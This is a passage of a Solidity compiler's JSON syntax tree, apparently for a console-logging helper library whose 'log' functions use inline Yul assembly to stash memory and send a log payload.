deType":"YulIdentifier","src":"318703:6:22"},"nativeSrc":"318703:24:22","nodeType":"YulFunctionCall","src":"318703:24:22"},"nativeSrc":"318703:24:22","nodeType":"YulExpressionStatement","src":"318703:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"318747:4:22","nodeType":"YulLiteral","src":"318747:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"318753:4:22","nodeType":"YulLiteral","src":"318753:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"318740:6:22","nodeType":"YulIdentifier","src":"318740:6:22"},"nativeSrc":"318740:18:22","nodeType":"YulFunctionCall","src":"318740:18:22"},"nativeSrc":"318740:18:22","nodeType":"YulExpressionStatement","src":"318740:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"318778:4:22","nodeType":"YulLiteral","src":"318778:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"318784:2:22","nodeType":"YulIdentifier","src":"318784:2:22"}],"functionName":{"name":"mstore","nativeSrc":"318771:6:22","nodeType":"YulIdentifier","src":"318771:6:22"},"nativeSrc":"318771:16:22","nodeType":"YulFunctionCall","src":"318771:16:22"},"nativeSrc":"318771:16:22","nodeType":"YulExpressionStatement","src":"318771:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"318807:4:22","nodeType":"YulLiteral","src":"318807:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"318813:2:22","nodeType":"YulIdentifier","src":"318813:2:22"}],"functionName":{"name":"mstore","nativeSrc":"318800:6:22","nodeType":"YulIdentifier","src":"318800:6:22"},"nativeSrc":"318800:16:22","nodeType":"YulFunctionCall","src":"318800:16:22"},"nativeSrc":"318800:16:22","nodeType":"YulExpressionStatement","src":"318800:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"318836:4:22","nodeType":"YulLiteral","src":"318836:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"318842:4:22","nodeType":"YulLiteral","src":"318842:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"318829:6:22","nodeType":"YulIdentifier","src":"318829:6:22"},"nativeSrc":"318829:18:22","nodeType":"YulFunctionCall","src":"318829:18:22"},"nativeSrc":"318829:18:22","nodeType":"YulExpressionStatement","src":"318829:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"318872:4:22","nodeType":"YulLiteral","src":"318872:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"318878:2:22","nodeType":"YulIdentifier","src":"318878:2:22"}],"functionName":{"name":"writeString","nativeSrc":"318860:11:22","nodeType":"YulIdentifier","src":"318860:11:22"},"nativeSrc":"318860:21:22","nodeType":"YulFunctionCall","src":"318860:21:22"},"nativeSrc":"318860:21:22","nodeType":"YulExpressionStatement","src":"318860:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"318906:4:22","nodeType":"YulLiteral","src":"318906:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"318912:2:22","nodeType":"YulIdentifier","src":"318912:2:22"}],"functionName":{"name":"writeString","nativeSrc":"318894:11:22","nodeType":"YulIdentifier","src":"318894:11:22"},"nativeSrc":"318894:21:22","nodeType":"YulFunctionCall","src":"318894:21:22"},"nativeSrc":"318894:21:22","nodeType":"YulExpressionStatement","src":"318894:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44202,"isOffset":false,"isSlot":false,"src":"318367:2:22","valueSize":1},{"declaration":44205,"isOffset":false,"isSlot":false,"src":"318397:2:22","valueSize":1},{"declaration":44208,"isOffset":false,"isSlot":false,"src":"318427:2:22","valueSize":1},{"declaration":44211,"isOffset":false,"isSlot":false,"src":"318457:2:22","valueSize":1},{"declaration":44214,"isOffset":false,"isSlot":false,"src":"318487:2:22","valueSize":1},{"declaration":44217,"isOffset":false,"isSlot":false,"src":"318517:2:22","valueSize":1},{"declaration":44220,"isOffset":false,"isSlot":false,"src":"318547:2:22","valueSize":1},{"declaration":44223,"isOffset":false,"isSlot":false,"src":"318577:2:22","valueSize":1},{"declaration":44226,"isOffset":false,"isSlot":false,"src":"318607:2:22","valueSize":1},{"declaration":44192,"isOffset":false,"isSlot":false,"src":"318878:2:22","valueSize":1},{"declaration":44194,"isOffset":false,"isSlot":false,"src":"318784:2:22","valueSize":1},{"declaration":44196,"isOffset":false,"isSlot":false,"src":"318813:2:22","valueSize":1},{"declaration":44198,"isOffset":false,"isSlot":false,"src":"318912:2:22","valueSize":1}],"id":44228,"nodeType":"InlineAssembly","src":"317989:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44230,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"318950:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":44231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"318956:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":44229,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"318934:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44232,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"318934:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44233,"nodeType":"ExpressionStatement","src":"318934:28:22"},{"AST":{"nativeSrc":"318981:273:22","nodeType":"YulBlock","src":"318981:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"319002:4:22","nodeType":"YulLiteral","src":"319002:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"319008:2:22","nodeType":"YulIdentifier","src":"319008:2:22"}],"functionName":{"name":"mstore","nativeSrc":"318995:6:22","nodeType":"YulIdentifier","src":"318995:6:22"},"nativeSrc":"318995:16:22","nodeType":"YulFunctionCall","src":"318995:16:22"},"nativeSrc":"318995:16:22","nodeType":"YulExpressionStatement","src":"318995:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"319031:4:22","nodeType":"YulLiteral","src":"319031:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"319037:2:22","nodeType":"YulIdentifier","src":"319037:2:22"}],"functionName":{"name":"mstore","nativeSrc":"319024:6:22","nodeType":"YulIdentifier","src":"319024:6:22"},"nativeSrc":"319024:16:22","nodeType":"YulFunctionCall","src":"319024:16:22"},"nativeSrc":"319024:16:22","nodeType":"YulExpressionStatement","src":"319024:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"319060:4:22","nodeType":"YulLiteral","src":"319060:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"319066:2:22","nodeType":"YulIdentifier","src":"319066:2:22"}],"functionName":{"name":"mstore","nativeSrc":"319053:6:22","nodeType":"YulIdentifier","src":"319053:6:22"},"nativeSrc":"319053:16:22","nodeType":"YulFunctionCall","src":"319053:16:22"},"nativeSrc":"319053:16:22","nodeType":"YulExpressionStatement","src":"319053:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"319089:4:22","nodeType":"YulLiteral","src":"319089:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"319095:2:22","nodeType":"YulIdentifier","src":"319095:2:22"}],"functionName":{"name":"mstore","nativeSrc":"319082:6:22","nodeType":"YulIdentifier","src":"319082:6:22"},"nativeSrc":"319082:16:22","nodeType":"YulFunctionCall","src":"319082:16:22"},"nativeSrc":"319082:16:22","nodeType":"YulExpressionStatement","src":"319082:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"319118:4:22","nodeType":"YulLiteral","src":"319118:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"319124:2:22","nodeType":"YulIdentifier","src":"319124:2:22"}],"functionName":{"name":"mstore","nativeSrc":"319111:6:22","nodeType":"YulIdentifier","src":"319111:6:22"},"nativeSrc":"319111:16:22","nodeType":"YulFunctionCall","src":"319111:16:22"},"nativeSrc":"319111:16:22","nodeType":"YulExpressionStatement","src":"319111:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"319147:4:22","nodeType":"YulLiteral","src":"319147:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"319153:2:22","nodeType":"YulIdentifier","src":"319153:2:22"}],"functionName":{"name":"mstore","nativeSrc":"319140:6:22","nodeType":"YulIdentifier","src":"319140:6:22"},"nativeSrc":"319140:16:22","nodeType":"YulFunctionCall","src":"319140:16:22"},"nativeSrc":"319140:16:22","nodeType":"YulExpressionStatement","src":"319140:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"319176:4:22","nodeType":"YulLiteral","src":"319176:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"319182:2:22","nodeType":"YulIdentifier","src":"319182:2:22"}],"functionName":{"name":"mstore","nativeSrc":"319169:6:22","nodeType":"YulIdentifier","src":"319169:6:22"},"nativeSrc":"319169:16:22","nodeType":"YulFunctionCall","src":"319169:16:22"},"nativeSrc":"319169:16:22","nodeType":"YulExpressionStatement","src":"319169:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"319205:4:22","nodeType":"YulLiteral","src":"319205:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"319211:2:22","nodeType":"YulIdentifier","src":"319211:2:22"}],"functionName":{"name":"mstore","nativeSrc":"319198:6:22","nodeType":"YulIdentifier","src":"319198:6:22"},"nativeSrc":"319198:16:22","nodeType":"YulFunctionCall","src":"319198:16:22"},"nativeSrc":"319198:16:22","nodeType":"YulExpressionStatement","src":"319198:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"319234:5:22","nodeType":"YulLiteral","src":"319234:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"319241:2:22","nodeType":"YulIdentifier","src":"319241:2:22"}],"functionName":{"name":"mstore","nativeSrc":"319227:6:22","nodeType":"YulIdentifier","src":"319227:6:22"},"nativeSrc":"319227:17:22","nodeType":"YulFunctionCall","src":"319227:17:22"},"nativeSrc":"319227:17:22","nodeType":"YulExpressionStatement","src":"319227:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44202,"isOffset":false,"isSlot":false,"src":"319008:2:22","valueSize":1},{"declaration":44205,"isOffset":false,"isSlot":false,"src":"319037:2:22","valueSize":1},{"declaration":44208,"isOffset":false,"isSlot":false,"src":"319066:2:22","valueSize":1},{"declaration":44211,"isOffset":false,"isSlot":false,"src":"319095:2:22","valueSize":1},{"declaration":44214,"isOffset":false,"isSlot":false,"src":"319124:2:22","valueSize":1},{"declaration":44217,"isOffset":false,"isSlot":false,"src":"319153:2:22","valueSize":1},{"declaration":44220,"isOffset":false,"isSlot":false,"src":"319182:2:22","valueSize":1},{"declaration":44223,"isOffset":false,"isSlot":false,"src":"319211:2:22","valueSize":1},{"declaration":44226,"isOffset":false,"isSlot":false,"src":"319241:2:22","valueSize":1}],"id":44234,"nodeType":"InlineAssembly","src":"318972:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"317733:3:22","parameters":{"id":44199,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44192,"mutability":"mutable","name":"p0","nameLocation":"317745:2:22","nodeType":"VariableDeclaration","scope":44236,"src":"317737:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44191,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317737:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44194,"mutability":"mutable","name":"p1","nameLocation":"317757:2:22","nodeType":"VariableDeclaration","scope":44236,"src":"317749:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44193,"name":"address","nodeType":"ElementaryTypeName","src":"317749:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44196,"mutability":"mutable","name":"p2","nameLocation":"317769:2:22","nodeType":"VariableDeclaration","scope":44236,"src":"317761:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44195,"name":"uint256","nodeType":"ElementaryTypeName","src":"317761:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":44198,"mutability":"mutable","name":"p3","nameLocation":"317781:2:22","nodeType":"VariableDeclaration","scope":44236,"src":"317773:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44197,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317773:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"317736:48:22"},"returnParameters":{"id":44200,"nodeType":"ParameterList","parameters":[],"src":"317799:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44282,"nodeType":"FunctionDefinition","src":"319266:1536:22","nodes":[],"body":{"id":44281,"nodeType":"Block","src":"319341:1461:22","nodes":[],"statements":[{"assignments":[44248],"declarations":[{"constant":false,"id":44248,"mutability":"mutable","name":"m0","nameLocation":"319359:2:22","nodeType":"VariableDeclaration","scope":44281,"src":"319351:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44247,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319351:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44249,"nodeType":"VariableDeclarationStatement","src":"319351:10:22"},{"assignments":[44251],"declarations":[{"constant":false,"id":44251,"mutability":"mutable","name":"m1","nameLocation":"319379:2:22","nodeType":"VariableDeclaration","scope":44281,"src":"319371:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44250,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319371:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44252,"nodeType":"VariableDeclarationStatement","src":"319371:10:22"},{"assignments":[44254],"declarations":[{"constant":false,"id":44254,"mutability":"mutable","name":"m2","nameLocation":"319399:2:22","nodeType":"VariableDeclaration","scope":44281,"src":"319391:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44253,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319391:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44255,"nodeType":"VariableDeclarationStatement","src":"319391:10:22"},{"assignments":[44257],"declarations":[{"constant":false,"id":44257,"mutability":"mutable","name":"m3","nameLocation":"319419:2:22","nodeType":"VariableDeclaration","scope":44281,"src":"319411:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44256,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319411:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44258,"nodeType":"VariableDeclarationStatement","src":"319411:10:22"},{"assignments":[44260],"declarations":[{"constant":false,"id":44260,"mutability":"mutable","name":"m4","nameLocation":"319439:2:22","nodeType":"VariableDeclaration","scope":44281,"src":"319431:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44259,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319431:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44261,"nodeType":"VariableDeclarationStatement","src":"319431:10:22"},{"assignments":[44263],"declarations":[{"constant":false,"id":44263,"mutability":"mutable","name":"m5","nameLocation":"319459:2:22","nodeType":"VariableDeclaration","scope":44281,"src":"319451:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44262,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319451:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44264,"nodeType":"VariableDeclarationStatement","src":"319451:10:22"},{"assignments":[44266],"declarations":[{"constant":false,"id":44266,"mutability":"mutable","name":"m6","nameLocation":"319479:2:22","nodeType":"VariableDeclaration","scope":44281,"src":"319471:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44265,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319471:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44267,"nodeType":"VariableDeclarationStatement","src":"319471:10:22"},{"assignments":[44269],"declarations":[{"constant":false,"id":44269,"mutability":"mutable","name":"m7","nameLocation":"319499:2:22","nodeType":"VariableDeclaration","scope":44281,"src":"319491:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44268,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319491:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44270,"nodeType":"VariableDeclarationStatement","src":"319491:10:22"},{"assignments":[44272],"declarations":[{"constant":false,"id":44272,"mutability":"mutable","name":"m8","nameLocation":"319519:2:22","nodeType":"VariableDeclaration","scope":44281,"src":"319511:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44271,"name":"bytes32","nodeType":"ElementaryTypeName","src":"319511:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44273,"nodeType":"VariableDeclarationStatement","src":"319511:10:22"},{"AST":{"nativeSrc":"319540:927:22","nodeType":"YulBlock","src":"319540:927:22","statements":[{"body":{"nativeSrc":"319583:313:22","nodeType":"YulBlock","src":"319583:313:22","statements":[{"nativeSrc":"319601:15:22","nodeType":"YulVariableDeclaration","src":"319601:15:22","value":{"kind":"number","nativeSrc":"319615:1:22","nodeType":"YulLiteral","src":"319615:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"319605:6:22","nodeType":"YulTypedName","src":"319605:6:22","type":""}]},{"body":{"nativeSrc":"319686:40:22","nodeType":"YulBlock","src":"319686:40:22","statements":[{"body":{"nativeSrc":"319715:9:22","nodeType":"YulBlock","src":"319715:9:22","statements":[{"nativeSrc":"319717:5:22","nodeType":"YulBreak","src":"319717:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"319703:6:22","nodeType":"YulIdentifier","src":"319703:6:22"},{"name":"w","nativeSrc":"319711:1:22","nodeType":"YulIdentifier","src":"319711:1:22"}],"functionName":{"name":"byte","nativeSrc":"319698:4:22","nodeType":"YulIdentifier","src":"319698:4:22"},"nativeSrc":"319698:15:22","nodeType":"YulFunctionCall","src":"319698:15:22"}],"functionName":{"name":"iszero","nativeSrc":"319691:6:22","nodeType":"YulIdentifier","src":"319691:6:22"},"nativeSrc":"319691:23:22","nodeType":"YulFunctionCall","src":"319691:23:22"},"nativeSrc":"319688:36:22","nodeType":"YulIf","src":"319688:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"319643:6:22","nodeType":"YulIdentifier","src":"319643:6:22"},{"kind":"number","nativeSrc":"319651:4:22","nodeType":"YulLiteral","src":"319651:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"319640:2:22","nodeType":"YulIdentifier","src":"319640:2:22"},"nativeSrc":"319640:16:22","nodeType":"YulFunctionCall","src":"319640:16:22"},"nativeSrc":"319633:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"319657:28:22","nodeType":"YulBlock","src":"319657:28:22","statements":[{"nativeSrc":"319659:24:22","nodeType":"YulAssignment","src":"319659:24:22","value":{"arguments":[{"name":"length","nativeSrc":"319673:6:22","nodeType":"YulIdentifier","src":"319673:6:22"},{"kind":"number","nativeSrc":"319681:1:22","nodeType":"YulLiteral","src":"319681:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"319669:3:22","nodeType":"YulIdentifier","src":"319669:3:22"},"nativeSrc":"319669:14:22","nodeType":"YulFunctionCall","src":"319669:14:22"},"variableNames":[{"name":"length","nativeSrc":"319659:6:22","nodeType":"YulIdentifier","src":"319659:6:22"}]}]},"pre":{"nativeSrc":"319637:2:22","nodeType":"YulBlock","src":"319637:2:22","statements":[]},"src":"319633:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"319750:3:22","nodeType":"YulIdentifier","src":"319750:3:22"},{"name":"length","nativeSrc":"319755:6:22","nodeType":"YulIdentifier","src":"319755:6:22"}],"functionName":{"name":"mstore","nativeSrc":"319743:6:22","nodeType":"YulIdentifier","src":"319743:6:22"},"nativeSrc":"319743:19:22","nodeType":"YulFunctionCall","src":"319743:19:22"},"nativeSrc":"319743:19:22","nodeType":"YulExpressionStatement","src":"319743:19:22"},{"nativeSrc":"319779:37:22","nodeType":"YulVariableDeclaration","src":"319779:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"319796:3:22","nodeType":"YulLiteral","src":"319796:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"319805:1:22","nodeType":"YulLiteral","src":"319805:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"319808:6:22","nodeType":"YulIdentifier","src":"319808:6:22"}],"functionName":{"name":"shl","nativeSrc":"319801:3:22","nodeType":"YulIdentifier","src":"319801:3:22"},"nativeSrc":"319801:14:22","nodeType":"YulFunctionCall","src":"319801:14:22"}],"functionName":{"name":"sub","nativeSrc":"319792:3:22","nodeType":"YulIdentifier","src":"319792:3:22"},"nativeSrc":"319792:24:22","nodeType":"YulFunctionCall","src":"319792:24:22"},"variables":[{"name":"shift","nativeSrc":"319783:5:22","nodeType":"YulTypedName","src":"319783:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"319844:3:22","nodeType":"YulIdentifier","src":"319844:3:22"},{"kind":"number","nativeSrc":"319849:4:22","nodeType":"YulLiteral","src":"319849:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"319840:3:22","nodeType":"YulIdentifier","src":"319840:3:22"},"nativeSrc":"319840:14:22","nodeType":"YulFunctionCall","src":"319840:14:22"},{"arguments":[{"name":"shift","nativeSrc":"319860:5:22","nodeType":"YulIdentifier","src":"319860:5:22"},{"arguments":[{"name":"shift","nativeSrc":"319871:5:22","nodeType":"YulIdentifier","src":"319871:5:22"},{"name":"w","nativeSrc":"319878:1:22","nodeType":"YulIdentifier","src":"319878:1:22"}],"functionName":{"name":"shr","nativeSrc":"319867:3:22","nodeType":"YulIdentifier","src":"319867:3:22"},"nativeSrc":"319867:13:22","nodeType":"YulFunctionCall","src":"319867:13:22"}],"functionName":{"name":"shl","nativeSrc":"319856:3:22","nodeType":"YulIdentifier","src":"319856:3:22"},"nativeSrc":"319856:25:22","nodeType":"YulFunctionCall","src":"319856:25:22"}],"functionName":{"name":"mstore","nativeSrc":"319833:6:22","nodeType":"YulIdentifier","src":"319833:6:22"},"nativeSrc":"319833:49:22","nodeType":"YulFunctionCall","src":"319833:49:22"},"nativeSrc":"319833:49:22","nodeType":"YulExpressionStatement","src":"319833:49:22"}]},"name":"writeString","nativeSrc":"319554:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"319575:3:22","nodeType":"YulTypedName","src":"319575:3:22","type":""},{"name":"w","nativeSrc":"319580:1:22","nodeType":"YulTypedName","src":"319580:1:22","type":""}],"src":"319554:342:22"},{"nativeSrc":"319909:17:22","nodeType":"YulAssignment","src":"319909:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"319921:4:22","nodeType":"YulLiteral","src":"319921:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"319915:5:22","nodeType":"YulIdentifier","src":"319915:5:22"},"nativeSrc":"319915:11:22","nodeType":"YulFunctionCall","src":"319915:11:22"},"variableNames":[{"name":"m0","nativeSrc":"319909:2:22","nodeType":"YulIdentifier","src":"319909:2:22"}]},{"nativeSrc":"319939:17:22","nodeType":"YulAssignment","src":"319939:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"319951:4:22","nodeType":"YulLiteral","src":"319951:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"319945:5:22","nodeType":"YulIdentifier","src":"319945:5:22"},"nativeSrc":"319945:11:22","nodeType":"YulFunctionCall","src":"319945:11:22"},"variableNames":[{"name":"m1","nativeSrc":"319939:2:22","nodeType":"YulIdentifier","src":"319939:2:22"}]},{"nativeSrc":"319969:17:22","nodeType":"YulAssignment","src":"319969:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"319981:4:22","nodeType":"YulLiteral","src":"319981:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"319975:5:22","nodeType":"YulIdentifier","src":"319975:5:22"},"nativeSrc":"319975:11:22","nodeType":"YulFunctionCall","src":"319975:11:22"},"variableNames":[{"name":"m2","nativeSrc":"319969:2:22","nodeType":"YulIdentifier","src":"319969:2:22"}]},{"nativeSrc":"319999:17:22","nodeType":"YulAssignment","src":"319999:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"320011:4:22","nodeType":"YulLiteral","src":"320011:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"320005:5:22","nodeType":"YulIdentifier","src":"320005:5:22"},"nativeSrc":"320005:11:22","nodeType":"YulFunctionCall","src":"320005:11:22"},"variableNames":[{"name":"m3","nativeSrc":"319999:2:22","nodeType":"YulIdentifier","src":"319999:2:22"}]},{"nativeSrc":"320029:17:22","nodeType":"YulAssignment","src":"320029:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"320041:4:22","nodeType":"YulLiteral","src":"320041:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"320035:5:22","nodeType":"YulIdentifier","src":"320035:5:22"},"nativeSrc":"320035:11:22","nodeType":"YulFunctionCall","src":"320035:11:22"},"variableNames":[{"name":"m4","nativeSrc":"320029:2:22","nodeType":"YulIdentifier","src":"320029:2:22"}]},{"nativeSrc":"320059:17:22","nodeType":"YulAssignment","src":"320059:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"320071:4:22","nodeType":"YulLiteral","src":"320071:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"320065:5:22","nodeType":"YulIdentifier","src":"320065:5:22"},"nativeSrc":"320065:11:22","nodeType":"YulFunctionCall","src":"320065:11:22"},"variableNames":[{"name":"m5","nativeSrc":"320059:2:22","nodeType":"YulIdentifier","src":"320059:2:22"}]},{"nativeSrc":"320089:17:22","nodeType":"YulAssignment","src":"320089:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"320101:4:22","nodeType":"YulLiteral","src":"320101:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"320095:5:22","nodeType":"YulIdentifier","src":"320095:5:22"},"nativeSrc":"320095:11:22","nodeType":"YulFunctionCall","src":"320095:11:22"},"variableNames":[{"name":"m6","nativeSrc":"320089:2:22","nodeType":"YulIdentifier","src":"320089:2:22"}]},{"nativeSrc":"320119:17:22","nodeType":"YulAssignment","src":"320119:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"320131:4:22","nodeType":"YulLiteral","src":"320131:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"320125:5:22","nodeType":"YulIdentifier","src":"320125:5:22"},"nativeSrc":"320125:11:22","nodeType":"YulFunctionCall","src":"320125:11:22"},"variableNames":[{"name":"m7","nativeSrc":"320119:2:22","nodeType":"YulIdentifier","src":"320119:2:22"}]},{"nativeSrc":"320149:18:22","nodeType":"YulAssignment","src":"320149:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"320161:5:22","nodeType":"YulLiteral","src":"320161:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"320155:5:22","nodeType":"YulIdentifier","src":"320155:5:22"},"nativeSrc":"320155:12:22","nodeType":"YulFunctionCall","src":"320155:12:22"},"variableNames":[{"name":"m8","nativeSrc":"320149:2:22","nodeType":"YulIdentifier","src":"320149:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"320252:4:22","nodeType":"YulLiteral","src":"320252:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"320258:10:22","nodeType":"YulLiteral","src":"320258:10:22","type":"","value":"0xaabc9a31"}],"functionName":{"name":"mstore","nativeSrc":"320245:6:22","nodeType":"YulIdentifier","src":"320245:6:22"},"nativeSrc":"320245:24:22","nodeType":"YulFunctionCall","src":"320245:24:22"},"nativeSrc":"320245:24:22","nodeType":"YulExpressionStatement","src":"320245:24:22"},{"expression":{"a